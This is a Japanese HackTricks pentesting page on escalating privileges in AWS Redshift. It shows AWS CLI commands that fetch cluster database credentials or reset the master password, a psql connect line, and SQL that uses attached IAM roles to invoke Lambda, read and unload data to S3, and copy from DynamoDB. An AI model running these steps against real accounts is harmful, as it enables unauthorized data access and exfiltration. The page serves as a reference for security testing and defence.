# AWS - Redshift Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Redshift

RDSに関する詳細は次を参照してください:

{{#ref}}
../../aws-services/aws-redshift-enum.md
{{#endref}}

### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`

これらの権限があれば、**すべてのクラスターの情報**（名前やクラスターのユーザー名を含む）を取得し、アクセスするための**認証情報**を取得できます:
```bash
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
```
**潜在的な影響:** データベース内の機密情報を見つける。

### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`

これらの権限があれば、**すべてのクラスターの情報**を取得し、アクセスするための**認証情報を取得**できます。\
postgresユーザーは、認証情報を取得するために使用された**IAM identityが持つ権限**を持つことに注意してください。
```bash
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
```
**Potential Impact:** データベース内の機密情報を取得できる可能性があります。

### `redshift:DescribeClusters`, `redshift:ModifyCluster?`

aws cliから内部postgres (redshit) ユーザーの**マスターパスワードを変更する**ことが可能です（これらが必要な権限だと思いますが、まだテストしていません）:
```
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
```
**Potential Impact:** データベース内の機密情報を見つけることができます。

## 外部サービスへのアクセス

> [!WARNING]
> 以下のリソースすべてにアクセスするには、**使用する role を指定する**必要があります。Redshift クラスターは **a list of AWS roles が割り当てられていることがあります**。それらは **ARN を知っている場合** に使用できます。あるいは、割り当てられたものを使用するために **"default"** を設定するだけでも構いません。
>
> さらに、[**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift はロールを連結して（最初の role が2番目の role を引き受けられる場合に限り）追加のアクセスを得ることができますが、単に **区切って** **カンマ** で指定します: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`

### Lambdas

[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) に記載されているように、次のように **redshift から lambda 関数を呼び出す** ことができます:
```sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
```
### S3

[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) に説明されているように、S3バケットへの**読み取りおよび書き込み**が可能です：
```sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
```
### Dynamo

[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) に記載されているように、**dynamodb からデータを取得する**ことが可能です:
```sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
```
> [!WARNING]
> データを提供する Amazon DynamoDB テーブルは、クラスターと同じ AWS Region に作成する必要があります。Amazon DynamoDB テーブルが存在する AWS Region を指定するために [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) オプションを使用する場合は例外です。

### EMR

詳細は [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) を参照してください。

## 参考資料

- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)

{{#include ../../../../banners/hacktricks-training.md}}
